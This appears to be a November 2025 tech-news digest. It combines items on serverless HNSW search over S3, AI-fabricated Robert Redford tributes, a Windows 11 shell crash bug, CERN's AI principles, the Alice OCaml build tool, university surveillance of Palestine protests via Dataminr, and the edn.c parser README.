So my personal plan for Christmas holidays is to add a custom Scorer implementation which schedules N parallel
S3 GetObject
requests to get N embeddings on each node visit:
HNSW graph usually has only ~3 layers, so you need to evaluate 1 entrypoint + 3 layers = 4 nodes, doing 4 batches of ~32-64 S3 requests.
Each batch of S3 GetObject requests is ~15ms, so baseline latency is expected to be ~60ms for a complete search stage.
To fetch N documents, you also need to prefetch N chunks of stored fields, which is also a perfectly concurrent operation.
A theoretical ~100ms baseline latency of HNSW running on top of S3 - sounds nice, huh?
Usually at the end of the article a well-educated author should put a summary of what you might learned while reading this, so here we are:
AWS Lambdas are not your friendly docker containers: storage system is completely different, and runtime semantics with constant freeze-thaw stages is what really surprised me.
Running HNSW search on top of network-attached storage is painfully slow right now - sequential random reads, you know. But there’s light at the end of the tunnel, and you don’t need to sacrifice recall for a cheap and fast search.
If you’re brave (and stupid) enough (like me) to spend a weekend on putting a search engine in a lambda, you can do it.
‘Extra challenging during a difficult time’: Robert Redford’s daughter criticises AI tributes to the late actor
Guardian
www.theguardian.com
2025-11-24 11:04:46
Amy Redford thanks fans for ‘love and support’ but takes issue with ‘AI versions of funerals, tributes and quotes from members of my family that are fabrications’ Robert Redford’s daughter Amy Redford has criticised the proliferation of artificial intelligence tributes to her father, who died in Sep...
Robert Redford’s daughter Amy Redford has criticised the proliferation of artificial intelligence tributes to her father,
who died in September
, calling them “fabrications”.
Redford posted a statement on social media
in which she thanked fans for their “overwhelming love and support”, adding: “It’s clear that he meant so much to so many, and I know that my family is humbled by the outpouring of stories and tributes from all corners of the globe.”
She went on to say: “There have been multiple AI versions of funerals, tributes and quotes from members of my family that are fabrications. Renderings of my dad who clearly has no say, and depictions of my family that do not represent anyone in a positive light are extra challenging during a difficult time.”
Redford said that no public funeral has taken place, and that a memorial to her father’s life is still being planned, saying: “Every family should have the ability to mourn, represent the person they lost, and pay homage in the way that fits their values and family culture best.”
Redford added: “My hope is to keep AI in the land of transparent usage where it belongs. There are many elements of it that were created with good intent. I simply ask, what if this was you? Let that be your guidepost.”
The Attention Economy Navigator, November 2025 w/ Nima Shirazi
OrganizingUp
convergencemag.com
2025-11-24 11:00:00
This week on the show we are debuting a new format we’re calling the Attention Economy Navigator. The goal of Block & Build has always been to help organizers figure out what’s happening, how people are responding, and get a sense for what’s working out there in the world. The Attention Economy ...
Microsoft: Windows 11 24H2 bug crashes Explorer and Start Menu
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 10:41:50
Microsoft has confirmed a critical Windows 11 24H2 bug that causes the File Explorer, the Start Menu, and other key system components to crash after installing cumulative updates released since July 2025. [...]...
Microsoft has confirmed a critical Windows 11 24H2 bug that causes the File Explorer, the Start Menu, and other key system components to crash after installing cumulative updates released since July 2025.
This bug affects users who log in after applying the cumulative updates and those using non-persistent operating system installations (such as virtual desktop infrastructure environments), where app packages must reinstall each session. On impacted systems, it causes issues for multiple essential Windows 11 shell components when XAML dependency packages fail to register properly after updates.
As Microsoft explained in a recent support document, applications that depend on XAML packages (specifically MicrosoftWindows.Client.CBS, Microsoft.UI.Xaml.CBS, and MicrosoftWindows.Client.Core) aren't registering in time after an update is installed, a timing issue that cascades through the system, preventing critical interface components from initializing properly.
This causes shell components such as Explorer.exe, StartMenuExperienceHost, and ShellHost.exe to crash with visible errors or fail silently, leaving users with partially functional systems that cannot display various navigation tools.
Affected users can experience a wide range of problems, including Start menu crashes (often accompanied by critical error messages), missing taskbars even when Explorer.exe is running, the core ShellHost (Shell Infrastructure Host or Windows Shell Experience Host) system process crashing, and the Settings app silently failing to launch.
"After provisioning a PC with a Windows 11, version 24H2 monthly cumulative update released on or after July 2025 (KB5062553), various apps such as StartMenuExperiencehost, Search, SystemSettings, Taskbar or Explorer might experience difficulties,"
Microsoft said
.
"The applications have dependency on XAML packages that are not registering in time after installing the update. We are working on a resolution and will provide more information when it is available."
Temporary workaround available
Microsoft stated it's developing a resolution but hasn't provided a timeline for the fix. While Microsoft continues to work on a permanent fix, it has provided PowerShell commands to manually register the missing packages.
Affected users must run these three Add-AppxPackage commands targeting each affected XAML package, then restart the system to restore functionality:
However, the bug particularly impacts organizations managing non-persistent enterprise environments using virtual desktop infrastructure, where employees must re-provision applications at each login.
For them, Microsoft recommends
running this logon script
on non-persistent OS installations that will execute before Explorer launches. The batch file wrapper ensures required packages are fully provisioned before the desktop environment loads, preventing the timing race condition.
It's budget season! Over 300 CISOs and security leaders have shared how they're planning, spending, and prioritizing for the year ahead. This report compiles their insights, allowing readers to benchmark strategies, identify emerging trends, and compare their priorities as they head into 2026.
Learn how top leaders are turning investment into measurable impact.
Shai-Hulud Returns: Over 300 NPM Packages Infected
Artificial intelligence (AI) can be found at CERN in many contexts: embedded in devices, software products and cloud services procured by CERN, brought on-site by individuals or developed in-house.
Following the
approval of a CERN-wide AI strategy
, these general principles are designed to promote the responsible and ethical use, development and deployment (collectively “use”) of AI at CERN.
They are technology neutral and apply to all AI technologies as they become available.
The principles apply across all areas of CERN’s activities, including:
AI for scientific and technical research
: data analysis, anomaly detection, simulation, predictive maintenance and optimisation of accelerator performance or detector operations, and
AI for productivity and administrative use
: document drafting, note taking, automated translation, language correction and enhancement, coding assistants, and workflow automation.
General Principles
CERN, members of its personnel, and anyone using CERN computing facilities shall ensure that AI is used in accordance with the following principles:
Transparency and explainability
: Document and communicate when and how AI is used, and how AI contributes to specific tasks or decisions.
Responsibility and accountability
: The use of AI, including its impact and resulting outputs throughout its lifecycle, must not displace ultimate human responsibility and accountability.
Lawfulness and conduct
: The use of AI must be lawful, compliant with CERN’s internal legal framework and respect third-party rights and CERN’s Code of Conduct.
Fairness, non-discrimination, and “do no harm”
: AI must be used in a way that promotes fairness and inclusiveness and prevents bias, discrimination and any other form of harm.
Security and safety
: AI must be adequately protected to reduce the likelihood and impact of cybersecurity incidents. AI must be used in a way that is safe, respects confidentiality, integrity and availability requirements, and prevents negative outcomes.
Sustainability
: The use of AI must be assessed with the goal of mitigating environmental and social risks and enhancing CERN's positive impact in relation to society and the environment.
Human oversight
: The use of AI must always remain under human control. Its functioning and outputs must be consistently and critically assessed and validated by a human.
Data privacy
: AI must be used in a manner that respects privacy and the protection of personal data.
Non-military purposes
: Any use of AI at CERN must be for non-military purposes only.
A one-page summary of the main themes of the CERN AI strategy (click the image to see a larger version)
What are you doing this week?
Lobsters
lobste.rs
2025-11-24 10:10:21
What are you doing this week? Feel free to share!
Keep in mind it’s OK to do nothing at all, too....
Alice is a radical, experimental
OCaml
build system and
package manager. Its goal is to allow anyone to
program in OCaml with as little friction as possible.
Install Alice by running the following command:
curl -fsSL https://alicecaml.org/install.sh | sh
Alternatively, see more installation options
here
.
Here’s how to run your first OCaml program on a computer with no pre-installed
OCaml tools (you will need a C compiler though!):
$ alice tools install
$ alice new hello
$ cd hello
$ alice run
Hello, World!
That first line downloads an OCaml compiler toolchain and a couple of
development tools (
ocamllsp
and
ocamlformat
). Skip it if you already have
an existing installation of OCaml. Alice runs the OCaml compiler
(
ocamlopt.opt
) searching the directories in your
PATH
variable and only
uses its own installation of the tools (installed by
alice tools install
) as
a fallback.
This project is exploring alternative approaches to OCaml packaging than those
chosen by
Opam
and alternative approaches to
building projects than those chosen by
Dune
.
How Corporate Partnerships Powered University Surveillance of Palestine Protests
Intercept
theintercept.com
2025-11-24 10:00:00
Officials at the University of Houston used Dataminr to surveil students, while University of Connecticut administrators voiced concerns over protests against a military contractor and major donor.
The post How Corporate Partnerships Powered University Surveillance of Palestine Protests appeared fir...
A cluster of tents
had sprung up on the University of Houston’s central lawn. Draped in keffiyehs and surrounded by a barricade of plywood pallets, students stood on a blue tarp spread over the grass. Tensions with administrators were already high before students pitched their tents, with incidents like pro-Palestine chalk messages putting university leaders on high alert.
What the students didn’t know at the time was that the University of Houston had contracted with Dataminr, an artificial intelligence company with a
troubling record
on
constitutional rights
, to gather open-source intelligence on the student-led movement for Palestine. Using an AI tool known as “First Alert,” Dataminr was scraping students’ social media activity and chat logs and sending what it learned to university administration.
This is the first detailed reporting on how a U.S. university used the AI technology to surveil its own students. It’s just one example of how public universities worked with private partners to surveil student protests, revealing how corporate involvement in higher education can be leveraged against students’ free expression.
This is the final installment in an investigative series on the draconian surveillance practices that universities across the country employed to crack down on the 2024 pro-Palestine encampments and student protests. More than 20,000 pages of documentation covering communications from April and May 2024, which The Intercept obtained via public records requests, reveal a systematic pattern of surveillance by U.S. universities in response to their students’ dissent. Public universities in California tapped
emergency response funds for natural disasters
to quell protests; in Ohio and South Carolina, schools received briefings from
intelligence-sharing fusion centers
; and at the University of Connecticut, student participation in a protest sent administrators into a frenzy over what a local military weapons manufacturer would think.
The series traces how universities, as self-proclaimed safe havens of free speech, exacerbated the preexisting power imbalance between institutions with
billion-dollar endowments
and a nonviolent student movement by cracking down on the latter. It offers a preview of the crackdown to come under the Trump administration as the president re-entered office and
demanded
concessions
from U.S. universities
in an attempt to limit pro-Palestine dissent on college campuses.
“Universities have a duty of care for their students and the local community,” Rory Mir, associate director of community organizing at the Electronic Frontier Foundation, told The Intercept. “Surveillance systems are a direct affront to that duty for both. It creates an unsafe environment, chills speech, and destroys trust between students, faculty, and the administration.”
At the University of Houston, the encampment was treated as an unsafe environment. University communications officials using Dataminr forwarded the alerts — which consist of an incident location and an excerpt of the scraped text — directly to the campus police. One alert sent by Dataminr to a University of Houston communications official identified a potential pro-Palestine incident based on chat logs it scraped from a semi-private Telegram channel called “Ghosts of Palestine.”
“University of Houston students rise up for Gaza, demanding an end to Genocide,” the chat stated. First Alert flagged it as an incident of concern and forwarded the information to university officials.
According to Dataminr’s marketing materials, First Alert is designed for use by first responders, sending incident reports to help law enforcement officials gather situational awareness. But instead of relying on officers to collect the intelligence themselves, First Alert relies on Dataminr’s advanced algorithm to gather massive amounts of data and make decisions. In short, Dataminr’s powerful algorithm gathers intelligence, selects what it views to be important, and then forwards it to the paying client.
A follow-up public records request sent to the University of Houston returned records of more than 900 First Alert emails in the inbox of a university administrator, only in April 2024.
The AI company has been implicated in a number of scandals, including the domestic surveillance of
Black Lives Matter protesters
in 2020 and
abortion rights protesters
in 2023. The Intercept
reported
in April that the Los Angeles Police Department used First Alert to monitor pro-Palestine demonstrations in LA. First Alert is one, but not the only, service that Dataminr offers. For newsrooms to corporate giants, Dataminr’s powerful algorithms power intelligence gathering and threat response for those willing to pay.
“It’s concerning enough when you see evidence of university officials scrolling through individual student social media, that’s going to chill people’s speech,” said Nathan Wessler, deputy director of the ACLU’s Speech, Privacy, and Technology Project. “But it’s a whole other level of concern when you start contracting with these companies that are using some kind of algorithm to analyze, at scale, people’s speech online.”
The University of Houston and Dataminr did not respond to multiple requests for comment.
While the University
of Houston leaned on Dataminr to gather intelligence on the student-led movement for Palestine, it is just one example of the open-source intelligence practices used by universities in the spring of 2024. From screenshots of students’ Instagram posts to the use of on-campus surveillance cameras, the documents obtained by The Intercept illustrate how the broadening net of on-campus intelligence gathering swept up constitutionally protected speech in the name of “social listening.”
University communications officials were often left to do the heavy lifting of hunting down activists’ social media accounts to map out planned demonstrations. Posts by local Students for Justice in Palestine chapters of upcoming demonstrations were frequently captured by administrators and forwarded on. In other cases, university administrators relied on in-person intelligence gathering.
One set of communication in the documents suggests that at one point, University of Connecticut administrators were watching the students in the on-campus encampment sleep. “They are just beginning to wake up. It’s still very quiet. Just a couple of police cars nearby,” a UConn administrator wrote to other officials that April.
U.S. universities, faced with the largest student protest movement in decades, used open-source intelligence to monitor the student-led movement for Palestine and to inform whether or not they would negotiate, and eventually, how they would clear the encampments. Emily Tucker, the executive director of the Center on Privacy and Technology at Georgetown Law, situated the development as part of the broader corporatization of U.S. higher education.
“ Institutions that are supposed to be for the public good are these corporate products that make them into vehicles for wealth extraction via data products,” Tucker told The Intercept. “Universities are becoming more like for-profit branding machines, and at the same time, digital capitalism is exploding.”
At UConn, the relationship between the corporate world and higher education led to a brief panic among university administrators. After protesters, including members of UConn’s chapter of Students for Justice in Palestine and a campus group called Unchained,
blocked access
to a military aircraft manufacturing facility about 25 miles from campus, administrators went into a frenzy over what the military contractor would think.
“Ok. The P&W CEO is pretty upset with us about it right now and is pressing [University President] Radenka [Maric] for action,” wrote Nathan Fuerst to Kimberly Beardsley-Carr, both high-level UConn administrators. “Can you see if UConn PD can proactively reach out? If we can determine that no UConn Students were arrested, that would be immensely helpful.”
Fuerst was referring to a contractor for the Israeli military called Pratt & Whitney, a subsidiary of the $235 billion company formerly known as Raytheon — and a major UConn donor. Both UConn and Pratt & Whitney denied that the request occurred, pointing out that the military contractor has no CEO. Fuerst, Beardsley-Carr, and Maric did not respond to requests for comment.
Photo Illustration: Fei Liu / The Intercept
Beardsley-Carr, in her own email sent four minutes after Fuerst’s, repeated the request: “As you can see below, the President is getting pressure from the CEO of Pratt and Whitney.”
Whether the company made the request or if it was, as UConn spokesperson Stephanie Reitz told The Intercept, “a misunderstanding,” it’s clear from the communications that UConn administrators were concerned about what the weapons manufacturer would think — and sprang to action, gathering information on students because of it.
Pratt & Whitney has donated millions of dollars to various university initiatives, and in April 2024, the same month as the protest, it was announced that a building on campus would be rededicated as the “Pratt & Whitney Engineering Building.” A partnership between the school and the company received an honorable mention from the governor’s office, prompting a Pratt & Whitney program engineer to write in an email: “It’s wonderful! P&W and UCONN have done some great things together.”
After a flurry of emails over the Pratt & Whitney arrests, on April 25, the UConn administrators’ concerns were lifted. “Middletown PD provided me with the names of the 10 individuals arrested during the below incident. None of the arrestees are current students,” UConn Police Lieutenant Douglas Lussier wrote to Beardsley-Carr.
“You have no idea how happy you just made me,” Beardsley-Carr wrote back.
It’s not just UConn, but U.S. higher education as a whole that has a deep and long-standing relationship with military weapons manufacturers. Whether it is endowed professorships, “Lockheed Martin Days,” defense industry presence at career fairs, or private donations, the defense industry
has a hold
on U.S. higher education, especially at elite universities, which serve as training grounds for high-paying and influential careers.
“These universities are the epicenter, the home base, of the future generation of Americans, future policy makers,” said Tariq Kenney-Shawa, Al-Shabaka’s U.S. Policy Fellow. If universities “were so confident in Israel’s narrative and their narrative being the correct one,” Kenney-Shawa added, “they would let that debate in such important spaces play out.”
Some students who spoke with The Intercept
emphasized that as a result of the surveillance they encountered during the protests, they have stepped up their digital security, using burner phones and limiting communication about potential demonstrations to secure messaging channels.
“ The campus is waiting and watching for these kinds of things,” said Kirk Wolff, a student at the University of Virginia who said he was threatened with expulsion for a
one-man sit-in
he staged on campus and expressed fear that university administrators would read his emails.
The surveillance had a “chilling effect,” in his experience, Wolff said. “ I had so many people tell me that they wanted to join me, that they agreed with me, and that they simply could not, because they were scared that the school would turn over their information.”
The University of Virginia did not respond to a request for comment on Wolff’s claims.
The surveillance detailed in this investigation took place under the Biden administration, before Trump returned to power and dragged the crackdown on pro-Palestine dissent into the open. Universities have since
shared employee and student files
with the Trump administration as it continues to investigate “anti-Semitic incidents on campus” — and use the findings as pretext to defund universities or even target students for illegal deportation.
Any open-source intelligence universities gathered could become fair game for federal law enforcement agencies as they work to punish those involved in the student-led movement for Palestine, Mir noted.
“A groundwork of surveillance has been built slowly on many college campuses for decades,” he said. “Now very plainly and publicly we have seen it weaponized against speech.”
Research support provided by the nonprofit newsroom Type Investigations.
edn.c: A fast, zero-copy EDN (Extensible Data Notation) reader written in C11 with SIMD acceleration
Extensible via tagged literals
:
#inst "2024-01-01"
,
#uuid "..."
—transform data at parse time with custom readers
Human-friendly
: Comments, flexible whitespace, designed to be readable and writable by both humans and programs
Language-agnostic
: Originally from Clojure, but useful anywhere you need rich, extensible data interchange
Why EDN over JSON?
More expressive types (keywords, symbols, sets), native extensibility through tags (no more
{"__type": "Date", "value": "..."}
hacks), and better support for configuration files and data interchange in functional programming environments.
Windows
(x86_64, ARM64) - NEON/SSE4.2 SIMD via MSVC/MinGW/Clang
WebAssembly
- SIMD128 support for browsers and Node.js
Build Library
Unix/macOS/Linux:
# Clone the repository
git clone https://github.com/DotFox/edn.c.git
cd edn.c
# Build static library (libedn.a)
make
# Run tests to verify build
make test
Windows:
# Clone the repository
git clone https://github.com/DotFox/edn.c.git
cd edn.c
# Build with CMake (works with MSVC, MinGW, Clang)
.\build.bat# Or use PowerShell script
.\build.ps1 -Test
# Compile your code
gcc -o myapp myapp.c -I/path/to/edn.c/include -L/path/to/edn.c -ledn
# Or add to your Makefile
CFLAGS += -I/path/to/edn.c/include
LDFLAGS += -L/path/to/edn.c -ledn
Option 2: Include source directly
Copy
include/edn.h
and all files from
src/
into your project and compile them together.
Quick Start
#include"edn.h"#include<stdio.h>intmain(void) {
constchar*input="{:name \"Alice\" :age 30 :languages [:clojure :rust]}";
// Read EDN stringedn_result_tresult=edn_read(input, 0);
if (result.error!=EDN_OK) {
fprintf(stderr, "Parse error at line %zu, column %zu: %s\n",
result.error_line, result.error_column, result.error_message);
return1;
}
// Access the parsed mapedn_value_t*map=result.value;
printf("Parsed map with %zu entries\n", edn_map_count(map));
// Look up a value by keyedn_result_tkey_result=edn_read(":name", 0);
edn_value_t*name_value=edn_map_lookup(map, key_result.value);
if (name_value!=NULL&&edn_type(name_value) ==EDN_TYPE_STRING) {
size_tlen;
constchar*name=edn_string_get(name_value, &len);
printf("Name: %.*s\n", (int)len, name);
}
// Clean up - frees all allocated memoryedn_free(key_result.value);
edn_free(map);
return0;
}
Output:
Parsed map with 3 entries
Name: Alice
Whitespace and Control Characters
EDN.C follows Clojure's exact behavior for whitespace and control character handling:
Whitespace Characters
The following characters act as
whitespace delimiters
(separate tokens):
Character
Hex
Name
Common Use
0x20
Space
Standard spacing
\t
0x09
Tab
Indentation
\n
0x0A
Line Feed (LF)
Unix line ending
\r
0x0D
Carriage Return (CR)
Windows line ending
\f
0x0C
Form Feed
Page break
\v
0x0B
Vertical Tab
Vertical spacing
,
0x2C
Comma
Optional separator
FS
0x1C
File Separator
Data separation
GS
0x1D
Group Separator
Data separation
RS
0x1E
Record Separator
Data separation
US
0x1F
Unit Separator
Data separation
Examples:
// All of these parse as vectors with 3 elements:edn_read("[1 2 3]", 0); // spacesedn_read("[1,2,3]", 0); // commasedn_read("[1\t2\n3]", 0); // tabs and newlinesedn_read("[1\f2\x1C3]", 0); // formfeed and file separator
Control Characters in Identifiers
Control characters
0x00-0x1F
(except whitespace delimiters) are
valid in identifiers
(symbols and keywords):
// Backspace in symbol - valid!edn_result_tr=edn_read("[\bfoo]", 0); // 1-element vectoredn_vector_count(r.value); // Returns 1edn_free(r.value);
// Control characters in middle of identifierconstcharinput[] = {'[', 'f', 'o', 'o', 0x08, 'b', 'a', 'r', ']', 0};
r=edn_read(input, sizeof(input) -1);
edn_vector_count(r.value); // Returns 1 (symbol: "foo\bbar")edn_free(r.value);
// Versus whitespace - separates into 2 elementsedn_result_tr2=edn_read("[foo\tbar]", 0); // Tab is whitespaceedn_vector_count(r2.value); // Returns 2 (symbols: "foo" and "bar")edn_free(r2.value);
Note on null bytes (
0x00
):
When using string literals with
strlen()
, null bytes will truncate the string. Always pass explicit length for data containing null bytes:
Get UTF-8 string data. Returns NULL if value is not a string.
Lazy decoding:
For strings without escapes, returns a pointer into the original input (zero-copy). For strings with escapes (
\n
,
\t
,
\"
, etc.), decodes and caches the result on first call.
Automatic Reduction:
Ratios are automatically reduced to lowest terms using the Binary GCD algorithm (Stein's algorithm):
6/9
→ Reduced to
2/3
100/25
→ Reduced to
4/1
→ Returns as integer
4
Restrictions:
Only decimal (base-10) integers supported for both numerator and denominator
Octal (base-8) integers supported keeping compatibility with Clojure where it is
incorrectly
interpreted as decimal integers with leading zeros.
Both numerator and denominator must fit in
int64_t
Denominator must be positive (negative denominators are rejected)
Denominator cannot be zero
No whitespace allowed around
/
Hex and binary notations not supported for ratios
Example:
// Parse ratioedn_result_tr=edn_read("22/7", 0);
if (r.error==EDN_OK&&edn_type(r.value) ==EDN_TYPE_RATIO) {
int64_tnum, den;
edn_ratio_get(r.value, &num, &den);
printf("Ratio: %lld/%lld\n", (long long)num, (long long)den);
// Output: Ratio: 22/7// Convert to double for approximationdoubleapprox;
edn_number_as_double(r.value, &approx);
printf("Approximation: %.10f\n", approx);
// Output: Approximation: 3.1428571429
}
edn_free(r.value);
// Automatic reductionedn_result_tr2=edn_read("3/6", 0);
int64_tnum2, den2;
edn_ratio_get(r2.value, &num2, &den2);
// num2 = 1, den2 = 2 (reduced from 3/6)edn_free(r2.value);
// Reduction to integeredn_result_tr3=edn_read("10/5", 0);
assert(edn_type(r3.value) ==EDN_TYPE_INT);
int64_tint_val;
edn_int64_get(r3.value, &int_val);
// int_val = 2 (10/5 reduced to 2/1, returned as integer)edn_free(r3.value);
// Negative ratiosedn_result_tr4=edn_read("-3/4", 0);
int64_tnum4, den4;
edn_ratio_get(r4.value, &num4, &den4);
// num4 = -3, den4 = 4 (numerator is negative, denominator is positive)edn_free(r4.value);
// Error: zero denominatoredn_result_tr5=edn_read("5/0", 0);
// r5.error == EDN_ERROR_INVALID_NUMBER// r5.error_message == "Ratio denominator cannot be zero"// Error: negative denominator (denominators must be positive)edn_result_tr6=edn_read("3/-4", 0);
// r6.error == EDN_ERROR_INVALID_NUMBER// r6.error_message == "Ratio denominator must be positive"// Error: hex not supportededn_result_tr7=edn_read("0x10/2", 0);
// Parses 0x10 as int, not as ratio
Build Configuration:
This feature is disabled by default. To enable it:
Make:
CMake:
cmake -DEDN_ENABLE_RATIO=ON ..
make
When disabled (default):
EDN_TYPE_RATIO
enum value is not available
edn_ratio_get()
function is not available
Note:
Ratios are a Clojure language feature, not part of the official EDN specification. They're provided here for compatibility with Clojure's clojure.edn parser.
See
test/test_numbers.c
for comprehensive ratio test examples.
Extended Integer Formats
EDN.C supports Clojure-style special integer formats for hexadecimal, octal, binary, and arbitrary radix numbers. These are
disabled by default
as they are not part of the base EDN specification.
DDDD
are the digits (0-9, A-Z, case-insensitive for bases > 10)
Build Configuration:
This feature is disabled by default. To enable it:
Make:
CMake:
cmake -DEDN_ENABLE_EXTENDED_INTEGERS=ON ..
make
When disabled (default):
Hexadecimal (
0xFF
), binary (
2r1010
), and radix notation (
36rZZ
) will fail to parse
Leading zeros are forbidden
: Numbers like
01
,
0123
,
0777
are rejected (per EDN spec)
Only
0
itself, or
0.5
,
0e10
(floats starting with zero) are allowed
Note:
Extended integer formats are a Clojure language feature, not part of the official EDN specification. They're provided here for compatibility with Clojure's reader.
See
test/test_numbers.c
for comprehensive extended integer format test examples.
Underscore in Numeric Literals
EDN.C supports underscores as visual separators in numeric literals for improved readability. This feature is
disabled by default
as it's not part of the base EDN specification.
Underscores are only allowed
between digits
(not at start, end, or adjacent to special characters)
Multiple consecutive underscores are allowed:
4____2
is valid
Not allowed adjacent to decimal point:
123_.5
or
123._5
are invalid
Not allowed before/after exponent marker:
123_e10
or
123e_10
are invalid
Not allowed before suffix:
123_N
or
123.45_M
are invalid
Works with negative numbers:
-1_234
→
-1234
Examples:
// Credit card number formattingedn_result_tr1=edn_read("1234_5678_9012_3456", 0);
int64_tval1;
edn_int64_get(r1.value, &val1);
// val1 = 1234567890123456edn_free(r1.value);
// Pi with digit groupingedn_result_tr2=edn_read("3.14_15_92_65_35_89_79", 0);
doubleval2;
edn_double_get(r2.value, &val2);
// val2 = 3.141592653589793edn_free(r2.value);
// Hex bytes (requires EXTENDED_INTEGERS=1)edn_result_tr3=edn_read("0xFF_EC_DE_5E", 0);
int64_tval3;
edn_int64_get(r3.value, &val3);
// val3 = 0xFFECDE5Eedn_free(r3.value);
// Large numbers with thousands separatorsedn_result_tr4=edn_read("1_000_000", 0);
int64_tval4;
edn_int64_get(r4.value, &val4);
// val4 = 1000000edn_free(r4.value);
// In collectionsedn_result_tr5=edn_read("[1_000 2_000 3_000]", 0);
// Three integers: 1000, 2000, 3000edn_free(r5.value);
Invalid examples:
// Underscore at start - parses as symboledn_read("_123", 0); // Symbol, not number// Underscore at endedn_read("123_", 0); // Error: EDN_ERROR_INVALID_NUMBER// Adjacent to decimal pointedn_read("123_.5", 0); // Error: EDN_ERROR_INVALID_NUMBERedn_read("123._5", 0); // Error: EDN_ERROR_INVALID_NUMBER// Before/after exponent markeredn_read("123_e10", 0); // Error: EDN_ERROR_INVALID_NUMBERedn_read("123e_10", 0); // Error: EDN_ERROR_INVALID_NUMBER// Before suffixedn_read("123_N", 0); // Error: EDN_ERROR_INVALID_NUMBERedn_read("123.45_M", 0); // Error: EDN_ERROR_INVALID_NUMBER
Build Configuration:
This feature is disabled by default. To enable it:
Make:
make UNDERSCORE_IN_NUMERIC=1
CMake:
cmake -DEDN_ENABLE_UNDERSCORE_IN_NUMERIC=ON ..
make
Combined with other features:
# Enable underscores with extended integers and ratios
make UNDERSCORE_IN_NUMERIC=1 EXTENDED_INTEGERS=1 RATIO=1
When disabled (default):
Numbers with underscores will fail to parse
The scanner will stop at the first underscore, treating it as an invalid number
Note:
Underscores in numeric literals are a common feature in modern programming languages (Java, Rust, Python 3.6+, etc.) but are not part of the official EDN specification. This feature is provided for convenience and readability.
See
test/test_underscore_numeric.c
for comprehensive test examples.
A reader function receives the wrapped value and transforms it into a new representation. On error, set
error_message
to a static string and return NULL.
Parse Options
typedefstruct {
edn_reader_registry_t*reader_registry; // Optional reader registryedn_value_t*eof_value; // Optional value to return on EOFedn_default_reader_mode_tdefault_reader_mode;
} edn_parse_options_t;
edn_result_tedn_read_with_options(constchar*input, size_tlength,
constedn_parse_options_t*options);
Parse options fields:
reader_registry
: Optional reader registry for tagged literal transformations
eof_value
: Optional value to return when EOF is encountered instead of an error
default_reader_mode
: Behavior for unregistered tags (see below)
Default reader modes:
EDN_DEFAULT_READER_PASSTHROUGH
: Return
EDN_TYPE_TAGGED
for unregistered tags (default)
EDN_DEFAULT_READER_UNWRAP
: Discard tag, return wrapped value
EDN_DEFAULT_READER_ERROR
: Fail with
EDN_ERROR_UNKNOWN_TAG
EOF Value Handling:
By default, when the parser encounters end-of-file (empty input, whitespace-only input, or after
#_
discard), it returns
EDN_ERROR_UNEXPECTED_EOF
. You can customize this behavior by providing an
eof_value
in the parse options:
// First, create an EOF sentinel valueedn_result_teof_sentinel=edn_read(":eof", 0);
// Configure parse options with EOF valueedn_parse_options_toptions= {
.reader_registry=NULL,
.eof_value=eof_sentinel.value,
.default_reader_mode=EDN_DEFAULT_READER_PASSTHROUGH
};
// Parse input that results in EOFedn_result_tresult=edn_read_with_options(" ", 3, &options);
// Instead of EDN_ERROR_UNEXPECTED_EOF, returns EDN_OK with eof_valueif (result.error==EDN_OK) {
// result.value == eof_sentinel.valueconstchar*name;
edn_keyword_get(result.value, NULL, NULL, &name, NULL);
// name == "eof"
}
// Clean upedn_free(eof_sentinel.value);
Reader Example
#include"edn.h"#include"../src/edn_internal.h"// For edn_arena_alloc// Reader that uppercases keywordsstaticedn_value_t*upper_reader(edn_value_t*value, edn_arena_t*arena,
constchar**error_message) {
if (edn_type(value) !=EDN_TYPE_KEYWORD) {
*error_message="#upper requires keyword";
returnNULL;
}
constchar*name;
size_tname_len;
edn_keyword_get(value, NULL, NULL, &name, &name_len);
// Allocate uppercase name in arenachar*upper= (char*)edn_arena_alloc(arena, name_len+1);
if (!upper) {
*error_message="Out of memory";
returnNULL;
}
for (size_ti=0; i<name_len; i++) {
charc=name[i];
upper[i] = (c >= 'a'&&c <= 'z') ? (c-32) : c;
}
upper[name_len] ='\0';
// Create new keyword valueedn_value_t*result=edn_arena_alloc_value(arena);
if (!result) {
*error_message="Out of memory";
returnNULL;
}
result->type=EDN_TYPE_KEYWORD;
result->as.keyword.name=upper;
result->as.keyword.name_length=name_len;
result->as.keyword.namespace=NULL;
result->as.keyword.ns_length=0;
result->arena=arena;
returnresult;
}
intmain(void) {
// Create registry and register readeredn_reader_registry_t*registry=edn_reader_registry_create();
edn_reader_register(registry, "upper", upper_reader);
// Parse with custom readeredn_parse_options_topts= {
.reader_registry=registry,
.default_reader_mode=EDN_DEFAULT_READER_PASSTHROUGH
};
edn_result_tr=edn_read_with_options("#upper :hello", 0, &opts);
if (r.error==EDN_OK) {
constchar*name;
size_tlen;
edn_keyword_get(r.value, NULL, NULL, &name, &len);
printf(":%.*s\n", (int)len, name); // Output: :HELLO
}
edn_free(r.value);
edn_reader_registry_destroy(registry);
return0;
}
See
examples/reader.c
for more complete examples including timestamp conversion, vector extraction, and namespaced tags.
Map Namespace Syntax
EDN.C supports Clojure's map namespace syntax extension, which allows you to specify a namespace that gets automatically applied to all non-namespaced keyword keys in a map.
This feature is disabled by default. To enable it:
Make:
make EXTENDED_CHARACTERS=1
CMake:
cmake -DEDN_ENABLE_EXTENDED_CHARACTERS=ON ..
make
When disabled (default):
\formfeed
and
\backspace
will fail to parse
\oNNN
will fail to parse
Standard character literals still work:
\newline
,
\tab
,
\space
,
\return
,
\uXXXX
, etc.
See
examples/example_extended_characters.c
for more details.
Metadata
EDN.C supports Clojure-style metadata syntax, which allows attaching metadata maps to values.
Syntax variants:
Map metadata
:
^{:key val} form
- metadata is the map itself
Keyword shorthand
:
^:keyword form
- expands to
{:keyword true}
String tag
:
^"string" form
- expands to
{:tag "string"}
Symbol tag
:
^symbol form
- expands to
{:tag symbol}
Vector param-tags
:
^[type1 type2] form
- expands to
{:param-tags [type1 type2]}
Chaining
: Multiple metadata can be chained:
^meta1 ^meta2 form
- metadata maps are merged from right to left.
Example:
#include"edn.h"#include<stdio.h>intmain(void) {
// Parse with keyword shorthandedn_result_tresult=edn_read("^:private my-var", 0);
if (result.error==EDN_OK) {
// Check if value has metadataif (edn_value_has_meta(result.value)) {
edn_value_t*meta=edn_value_meta(result.value);
// Metadata is always a mapprintf("Metadata entries: %zu\n", edn_map_count(meta));
// Look up specific metadata keyedn_result_tkey=edn_read(":private", 0);
edn_value_t*val=edn_map_lookup(meta, key.value);
// val will be boolean trueedn_free(key.value);
}
edn_free(result.value);
}
return0;
}
